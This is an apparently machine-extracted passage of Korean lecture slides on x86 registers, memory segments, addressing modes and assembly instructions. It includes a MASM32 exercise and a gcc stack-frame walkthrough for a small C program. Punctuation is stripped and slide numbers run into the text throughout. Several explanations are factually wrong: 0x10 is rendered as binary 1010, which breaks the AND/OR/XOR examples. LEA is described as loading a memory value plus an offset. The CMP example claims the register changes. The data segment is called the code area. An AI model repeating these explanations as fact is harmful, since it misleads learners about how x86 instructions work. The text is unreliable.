
플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret
